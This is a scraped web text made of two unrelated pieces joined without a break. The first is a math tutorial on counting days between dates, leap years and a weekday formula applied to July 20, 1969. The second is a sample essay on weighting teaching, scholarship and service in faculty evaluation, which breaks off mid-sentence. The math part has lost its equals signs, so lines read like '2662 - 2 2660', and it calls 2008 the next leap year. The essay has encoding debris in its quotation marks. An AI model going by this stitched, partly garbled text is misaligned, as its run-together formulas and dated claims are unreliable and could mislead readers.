Calculating Number of Days - Mathematics An interest period will involve two dates. The date the loan is given and the end date. You will need to find out from the loan institution if they count the day the loan is due or the day before. This can vary. In order to determine the exact number of days, you will first need to know the number of days in each month. January - 31February - 28*March - 31April - 30May - 31June - 30July - 31August - 31September - 30October - 31November - 30December 31 You can remember the number of days in a month by memorizing the days of the months nursery rhyme: Thirty days hath September,April, June, and November,All the rest have thirty-one,Excepting February alone,Which has but twenty-eight days clearAnd twenty-nine in each leap year. February and Leap Year We cannot forget about Leap Year and the changes it will present for the number of days in February. Leap years are divisible by 4 which is why 2004 was a leap year. The next leap year is in 2008. An extra day is added to February when February falls on a leap year. Leap years also cannot fall on a centennial year unless the number is divisible by 400 which is why the year 2000 was a leap year. Lets try an example: Find the number of days between Dec. 30 and July 1 (not a leap year). December 2 days (Dec. 30 and 31), January 31, February 28, March 31, April 30, May 31, June 30 and July 1 we dont count. This gives us a total of 183 days. Which Day of the Year Was It? You can also find out the exact day that a specific date falls on. Lets say you wanted to know what day of the week a man walked on the moon for the first time. You know that it was July 20, 1969, but you dont know which day of the week it falls on. Follow these steps to determine the day: Calculate the number of days in the year from Jan. 1 to July 20 based on the number of days per month above. You will come up with 201 days. Subtract 1 from the year (1969 - 1 1968) then divide by 4 (omit the remainder). You will come up with 492. Now, add 1969 (original year), 201 (days prior to the event -July 20, 1969) and 492 to come ups with the sum of 2662. Now, subtract 2: 2662 - 2 2660. Now, divide 2660 by 7 to determine the day of the week, the remainder the day. Sunday 0, Monday 1, Tuesday 2, Wednesday 3, Thursday 4, Friday 5, Saturday 6. 2660 divided by 7 380 with a remainder of 0 therefore July 20, 1969 was a Sunday. Using this method you can find out which day of the week you were born on! Edited by Anne Marie Helmenstine, Ph.D.

Faculty Roles Essay Example | Topics and Well Written Essays - 750 words

Faculty Roles - Essay Example Therefore, in order to use faculty evaluation as a tool to measure faculty quality, some of the primary roles of the faculty have to be identified for assessment, and values or weights assigned to them. â€Å"All roles should be defined in the faculty role model in terms of observable achievements, products, or performances that can be documented.† (Diamantes, 2002). In the faculty role model, I have identified teaching, scholarly activities and service as the three most important roles of the faculty. Teaching is defined as engaging in specifically designed interactions with the students that facilitate, promote, and result in student learning (Arreola, 2007). Teaching being the primary function of the faculty, it has been accorded the highest weight. Effective teaching has four defining components. Based on the relative importance of each of the four components, the weights have been assigned as: 35% for instructional delivery skills which call for organized classroom presen tations, effective communication with the students, generating enthusiasm and inspiring them to learn and achieve; 35% for instructional design skills that involve developing course materials e.g., study notes, tests etc., developing new courses, designing effective instructional tools such as audio/visuals, discussions, class seminars and group activities; 25% for content expertise which essentially is an indicator of the faculty member’s mastery of course content and 5% for course management which consists of managing activities, materials etc. for courses, conducting laboratory work, grading papers, guiding student research, supervising dissertations etc. Scholarly activities as another role in the role model and with components such as (1) personal development, (2) original research and discovery, (3) dissemination through posters and publications in standard journals help the faculty members